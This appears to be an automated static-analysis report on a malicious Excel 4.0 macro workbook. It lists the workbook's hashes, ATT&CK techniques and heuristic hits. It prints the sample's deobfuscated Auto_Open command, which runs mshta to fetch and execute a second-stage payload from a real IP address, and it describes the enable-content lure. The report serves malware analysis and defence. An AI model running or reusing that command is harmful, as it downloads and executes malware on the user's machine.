Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 f76190b18d28381a…

MALICIOUS

Office (OLE) / .XLSX

65.0 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: d285d730c881985a1c68bcfa3e23222a SHA-1: 249d104b58b44ad486b3c74a4fc8e86908a1732d SHA-256: f76190b18d28381afc2abcba75ae59ed1d8f25fcb03df777dbe0da1eaf1d3fe1
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros with an Auto_Open entry, indicating automatic execution upon opening. The macro defines a string "SSDGO" which reconstructs to the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html'. This command is designed to download a second-stage payload from the specified URL. The document body explicitly instructs the user to "Enable Editing" and "Enable Content", a common lure to bypass macro security. The presence of the Auto_Open entry and the command execution strongly suggest this is a downloader.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
c5aad075e50422dc1116ac70939d41e0371d46cf42a38ecf99b5202042a44db6
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1374 bytes